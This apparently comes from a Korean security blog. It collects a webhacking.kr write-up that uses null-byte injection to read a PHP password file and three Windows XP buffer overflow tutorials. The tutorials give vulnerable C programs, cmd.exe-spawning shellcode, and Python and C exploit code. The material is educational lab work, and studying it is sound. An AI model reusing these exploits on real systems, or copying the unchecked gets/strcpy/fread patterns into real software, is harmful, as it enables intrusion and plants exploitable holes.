최초 작성일 : 2014/09/13


webhacking.kr 25번 문제 풀이


문제 접속 : http://webhacking.kr/challenge/bonus/bonus-5/?file=hello

문제 사이트에 접속을 하면
hello.txt, index,php, password.php 가 보여지고
hello world 라는 문자열을 확인할 수 있다.



해당 화면을 유추해보면 hello world는 hello.txt 파일의 내용으로 생각되고,
password.php 파일 안에 이번 문제의 패스워드가 저장되어 있을 것이다.

접속 URL에 ?file=hello 인 것으로 보아 .txt 확장자를 붙여서 파일 내용을 읽는 것으로 보인다.
그럼 file=password 를 하면 password.txt 파일을 읽을 것이고

file=password.php를하면 password.php.txt 파일을 읽게 될 것이다.
결국 password.php 파일을 읽기 위해서는 확장자 .txt를 제거해야 한다.

php에서 종료문자(%00)를 사용하면, 이후의 문자열들은 무시된다.
결국 다음과 같이 종료문자를 삽입하면
http://webhacking.kr/challenge/bonus/bonus-5/?file=password.php%00
php에서는 "password.php%00.txt" 형태로 읽어 들이게 되고 종료문자 이후는 무시되므로
password.php 파일을 읽어 들이게 된다.



Auth 메뉴로 가서 패스워드 입력



 level clear










최초 작성일 : 2014/07/31


Windows Buffer Overflow #3


환경

Windows XP Professional K Version 2002 SP3

VC++ 6.0

 

1. 대상 프로그램

이번 대상 프로그램은 동일한 폴더의 위치에서 badfile의 이름을 가진 파일을 읽어 출력하는 단순한 프로그램이다하지만 해당 프로그램에서 버퍼에 데이터를 저장할 때 별도의 제한 없이 파일의 데이터 크기만큼 버퍼에 저장하여 overflow가 발생한다.

// bof.cpp

#include <stdlib.h>

#include <stdio.h>

#include <string.h>

 

int main(int argc, char **argv)

{

    char str[100];

    FILE *badfile;

    int lSize;

 

    badfile = fopen("badfile", "r");

 


    fseek (badfile , 0, SEEK_END);

    lSize = ftell (badfile);

    rewind (badfile);

    memset(str, 0, sizeof(char) * 100);

    fread(str, sizeof(char), lSize, badfile);

    

    printf("str : %s\n", str);

    printf("Returned Properly\n");

    return 1;

}


2. 취약점 확인

badfile bof.exe 폴더 위치에 다음과 같이 생성한다.


[그림1] badfile 내용

 

bof.exe 를 실행하면 badfile을 읽어 들여 화면에 출력한다.


[그림2] bof.exe 실행하면 badfile의 내용 출력

 

하지만 fread 함수에서 badfile에 저장된 데이터의 크기만큼 읽어 들여 입력 값 길이의 검증 없이버퍼에 저장하게 되므로 결국 buffer overflow가 발생한다.


[그림3] bof 발생


3. Stack 구조

디버거로 stack을 확인 해본 결과 buf(100byte) + sfp(4byte) + ret(4byte) 의 구조를 가진다아래 내용을 badfile로 생성하고 bof.exe를 실행하면 eip overflow되어 Offset 41414141(AAAA)을 가르키게 된다.

 

12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234AAAA

 


[그림4] eip 변조 확인

 

Stack에서 buf의 시작 주소는 0x0012FF1C 임을 확인할 수 있다적당히 buf의 시작 주소 부근에 jump 하도록 하자.


[그림5] stack 구조

 

4. payload 구성

공격에 사용될 payload를 구성해 보면 다음과 같다.

 

buf = 100byte

sfp = 4byte

ret = 4byte

 

buf nop shellcode를 담는다. ret buf에 가도록 하면 shellcode가 실행된다.

 

[      buf           ][  ebp ][   ret      ]

[ nop+shellcode ][ 1234 ][ jmp buf ]

 

buf

sfp

ret

nop+shellcode

1234

jmp buf

 

nop = "\x90" * 60 # 60byte

shellcode = "\x55\x8b\xec\x83\xec\x44\xc6\x45\xfc\x63\xc6\x45\xfd\x6d\xc6\x45\xfe\x64\x6a\x05\x8d\x45\xfc\x50\xb8\xad\x23\x86\x7c\xff\xd0\x6a\x01\xb8\xfa\xca\x81\x7c\xff\xd0" # 40byte # cmd.exe 실행

sfp = "1234"

ret = "0x0012FF2C " # buf 주소 부근. nop 중간에 떨어지게 했다.

 

최종 payload는 다음과 같다.

buf

sfp

ret

nop+shellcode

1234

0x0012FF2C

 

 

5. Buffer Overflow 공격

다음과 같이 python exploit을 작성하여 badfile을 생성하고, bof.exe를 실행하여 bof를 발생시킨다.

// fread_bof.py

import sys

import struct

 

filename = "badfile"

 

nop = "\x90" * 60

shellcode  = "\x55\x8b\xec\x83\xec\x44\xc6\x45\xfc\x63\xc6\x45\xfd\x6d\xc6\x45\xfe\x64\x6a\x05\x8d\x45\xfc"

shellcode += "\x50\xb8\xad\x23\x86\x7c\xff\xd0\x6a\x01\xb8\xfa\xca\x81\x7c\xff\xd0" # 40byte

sfp = "1234"

ret = struct.pack('<L', 0x0012FF2C)

 

payload = nop + shellcode + sfp + ret

print "Payload size : ", len(payload)

 

f = open(filename, 'w')

f.write(payload)

f.close()

 

 

[그림6] bof attack 성공




6. 참고사이트

http://stackoverflow.com/questions/14847015/homework-buffer-overflow



'BOF' 카테고리의 다른 글

[BOF] BOF 개요  (0) 2017.04.29
[windows] windows buffer overflow #2  (0) 2017.04.01
[windows] windows buffer overflow #1  (0) 2017.04.01

최초작성일 : 2014/06/13


Windows Buffer Overflow #2


환경


Windows XP Professional K Version 2002 SP3

VC++ 6.0


두 번째 대상 프로그램은 입력 값을 받아서 strcpy 함수로 buf에 저장하고 출력하는 단순한 프로그램이다. 하지만 strcpy 함수는 입력 값 길이 검증을 하지 않으므로 bufferoverflow를 발생시킨다.


1. 대상프로그램

// strcpy.cpp

#include <stdio.h>

#include <windows.h>

 

int main(int argc, char *argv[])

{

char buf[100];

 

if( argc < 2)

{

           printf("%s string\n", argv[0]);

           exit(1);

}

printf("\nbuf : 0x%x\n", buf);

strcpy(buf, argv[1]);

printf("%s\n", buf);

return 0;

}

  


2. 취약점확인


buf 100byte의크기로 배열이 선언되어 있다. 입력 값으로 100byte를초과하는 문자열을 입력하면 overflow가 발생한다.


[그림1] buffer overflow 발생

  

3. Stack구조

A*100 + BBBB + CCCC 를 입력하면 eip  43434343(CCCC)으로 변조 되는 것을 확인할 수있다.


[그림2] 변조된 eip 주소로 오류 메시지가 발생함


4. Shellcode


1)shellcode 작성


먼저 쉘 코드를 argv[1]과 같이 아규먼트 방식으로 받는 경우에는 Windows XP SP3 다국어 버전 에서 알아두어야 할 사항이 있다. XPSP3 다국어 윈도우는 내부적으로 wchar 형 함수(unicode함수)를 사용하여 문자열을 전달 받는다. 이때 0x80 이상의 문자가 입력되면(ascii 코드가 아닌값) unicode로 처리한다. 하지만 입력 받은 문자가unicode 문자 표에 없다면(unicode가 아니라면) 0x3F로 변경된다.

 

이런 문제로 기존에 만들었던 shellcode를 사용할 수 없고, 0x3F로 변경 되는 것을 피하기 위해서 shellcode의 수정이필요하다. shellcode 작성에 대한 내용은 이번 주제에서는 다루지 않으므로 다음 사이트를 참조한다.


http://uptx.egloos.com/372313


결국 0x3F 변경을 우회하는shellcode 작성이 필요하므로 다음과 같이 작성하였다.

char shellcode[]=

"\x68\x63\x6d\x64\x01"  

"\x80\x44\x24\x03\x1f"  

"\x54"               

"\x68\xfa\xca\x71\x7c"  

"\x80\x44\x24\x02\x10"  

"\x68\x2d\x23\x76\x7c" 

"\x80\x44\x24\x02\x10"  

"\x80\x04\x24\x80"    

"\xc3\x90";             

 

2)shellcode 위치

strcpy 프로그램에는 buf의위치를 출력하는 코드가 존재한다. 현재 buf의 위치는 0x12ff1c로 표기되고 있다.(그림1, 그림2 참조) 0x0012ff2c(nop중간인 0x0012ff2c ret를 정하고실행) ret에 넣고 실행하니 eip 0x0012ff77에서 오류가 발생한다.

 

해당 주소를 살펴보니 내가 입력한 shellcode가 존재하지 않는다. 어떠한 문제점으로 인하여 shellcode가 망가진 상태이고, 이로 인하여 공격을 성공시킬 수가 없다!! (해당 이유는 스스로 한번 확인해보기 바란다.)

 


[그림3] buf 함수 주소 위치

 

하지만 shellcode가 입력되면서 메모리 어딘가에는 존재할 것으로추측 되고, shellcode를 찾기 위해서 WinHex를 이용하여 strcpy.exe의 메모리상에서 shellcode의 위치를 검색해 보기로 했다.


첫 번째 shellcode 위치


[그림4] 첫 번째 shellcode 위치

 

두 번째 shellcode 위치


[그림5] 두 번째 shellcode 위치

 

세 번째 shellcode 위치


[그림6] 세 번째 shellcode 위치

 

네 번째 shellcode 위치


[그림7] 네 번째 shellcode 위치

 

모두 4곳에서nop+shellcode가 정상적으로 존재한다. 하지만 해당주소 모두를 ret에 사용할 수 있는 것은 아니다. 마찬가지로 ret의 주소도 유니코드로 인식되지 않으면 0x3F로 변경 당한다. 나는 0x00430e80의 주소가 적당해 보여, 해당 주소를 ret 에 대입하여 공격에 사용해보자.


5.payload 구성

공격에 사용할 payload를 구성해 보면 다음과 같다.

 

buf = 100byte = nop + shellcode

sfp = 4byte = AAAA

ret = 4byte = &(nop+shellcode)

 

buf

sfp

ret

nop+shellcode

AAAA

&(nop+shellcode)

 

buf nop  shellcode를 채우고, ret의 값은 메모리에서 발견한 nop+shellcode 주소 중 적당한 주소를 선택한다.

 

nop = \x90\x90\x90\x90\x90\x90..

shellcode = \x68\x63\x6d\x64\x01...

sfp = AAAA

ret = 0x430e80


최종 payload 구성은 다음과 같다.

buf

sfp

ret

\x90\x90\x90\x90\x90\x90...\x68\x63\x6d\x64\x01...

AAAA

0x430e80

  

6.Buffer Overflow 공격

payload 구성이 완료 되었으므로 다음과 같은 wrapper 공격 코드를 작성하여 공격해보자.

// attack.cpp

#include <stdio.h>

#include <process.h>

#include <string.h>

#include <windows.h>

 

char shellcode[]=

"\x68\x63\x6d\x64\x01" 

"\x80\x44\x24\x03\x1f"  

"\x54"                 

"\x68\xfa\xca\x71\x7c" 

"\x80\x44\x24\x02\x10" 

"\x68\x2d\x23\x76\x7c"  

"\x80\x44\x24\x02\x10"  

"\x80\x04\x24\x80"   

"\xc3\x90";           

 

int main(int argc, char *argv[])



{

  char buffer[150];

 

  if( argc < 2 )

  {

printf("Usage: %s number\n",argv[0]);

exit(1);

  }

 

  int ebp = atoi(argv[1]);

 

  memset(buffer, 0, sizeof(buffer));

  memset(buffer, 0x90, sizeof(buffer));

  memcpy(buffer+60, shellcode, strlen(shellcode));

 

  *(long *) &buffer[ebp] = 0x41414141;

  *(long *) &buffer[ebp+4] = 0x430e80;

 

  execl("strcpy.exe", "strcpy.exe", buffer, 0);

 

  return 0;

}

 

이제 공격을 시도해보자. (attack.exe 100)

만약 공격이 성공하면 다음과 같이 정상적으로 cmd가 실행될 것이다.


[그림8] 공격 성공

 









7. 참고사이트

http://uptx.egloos.com/372313



'BOF' 카테고리의 다른 글

[BOF] BOF 개요  (0) 2017.04.29
[windows] windows buffer overflow #3  (0) 2017.04.01
[windows] windows buffer overflow #1  (0) 2017.04.01

최초 작성일 : 2014/06/04


Windows Buffer Overflow #1

- 환경


Windows XP Professional K Version 2002 SP3
VC++ 6.0


1. 대상 프로그램
bof의 기초를 익히기 위해 cmd를 실행하는 shellcode를 소스 안에 넣어두었다. main 함수를 보면 shellcode의 주소가 출력되고, 입력되는 문자열의 길이를 체크하지 않는 gets 함수의 취약점을 이용하여 shellcode를 실행할 수 있다.


// gets.cpp
#include <stdio.h>
char shellcode[]=
"\x55"
"\x8b\xec"
"\x53"
"\xc6\x45\xfc\x63"
"\xc6\x45\xfd\x6d"
"\xc6\x45\xfe\x64"
"\xc6\x45\xff\x00"
"\x6a\x01"
"\x8d\x45\xfc"
"\x50"
"\xb8\xad\x23\x86\x7c"
"\xff\xd0"
"\x6a\x01"
"\xb8\xfa\xca\x81\x7c"
"\xff\xd0";
int main()
{
 char buf[10];
 printf("shellcode : 0x%x\n", shellcode);
 printf("input : ");
 gets(buf);
 printf("\noutput : %s\n",buf);
}


2. 취약점 확인
buf는 10byte의 크기로 배열이 선언되어 있다. gets의 입력 값으로 10byte를 초과하는 문자열을 입력하면 overflow가 발생한다. 또한, shellcode의 주소는 0x422360 임을 화면에 출력된 내용을 보고 확인 할 수 있다.


[그림1] AAAAAAAAAABBBBBBBBBB (20byte) 입력 시 overflow 발생


3. stack 구조
buf가 10byte로 선언되어 있지만 ret를 조작하여 eip를 변경하려면 ret까지의 정확한 위치를 알아야 한다. 간단한 시도로 AAAAAAAAAABBCCCCDDDD의 입력 값에서 eip가 44444444(DDDD)로 변조되는 것을 확인할 수 있다. 즉, buf로 부터 ret 까지의 거리는 16byte 떨어져 있다. BB는 buf와 sfp 사이에 garbage 값이다.



[그림2] 변경된 eip 주소로 오류 메시지가 발생함


4. payload 구성
공격에 사용될 payload를 구성해 보면 다음과 같다.

buf = 10byte
garbage = 2byte
sfp = 4byte
ret = 0x422360 (shellcode 주소)

bufgarbagesfpret
AAAAAAAAAAGGBBBB0x422360


shellcode address인 0x422360은 간단히 ASCII 코드표에서 문자를 찾아서 대입하면 된다.


[그림3] ascii 코드 표

0x42 = B
0x23 = #
0x60 = `
메모리 주소는 리틀 엔디안(Little-Endian) 형식에 따라 하위 byte부터 입력한다. 
최종 payload는 다음과 같다.

bufgarbagesfpret
AAAAAAAAAAGGBBBB`#B


5. Buffer Overflow 공격
최종 payload ( AAAAAAAAAAGGBBBB`#B )로 공격을 실행하면 buf를 overflow하여 eip를 shellcode위치로 변경할 수 있다. 공격이 성공하면 cmd가 실행된다.

[그림4] bof 공격 성공


6. 디버깅
main 함수 시작

[그림5] main()


gets 함수 실행


[그림6] gets()


공격 실행


[그림7] bof attack


sfp 위치의 stack 0x0012FF80 = 42424242 (BBBB)


[그림8] pop ebp


ret 위치의 stack 0x0012FF84 = 00422360 (shellcode 주소)


[그림9] RETN


RETN의 실행으로 변경된 eip (0x00422360) 위치로 리턴함


[그림10] shellcode


shellcode가 실행되어, cmd가 동작함


 [그림11] cmd execute


7. 참고사이트
http://pgnsc.tistory.com/260





'BOF' 카테고리의 다른 글

[BOF] BOF 개요  (0) 2017.04.29
[windows] windows buffer overflow #3  (0) 2017.04.01
[windows] windows buffer overflow #2  (0) 2017.04.01

UNIX 사용시 vi에서 ESC가 적용되지 않을 경우에는 

Ctrl + [ 키로 ESC를 대체할 수 있다.


+ Recent posts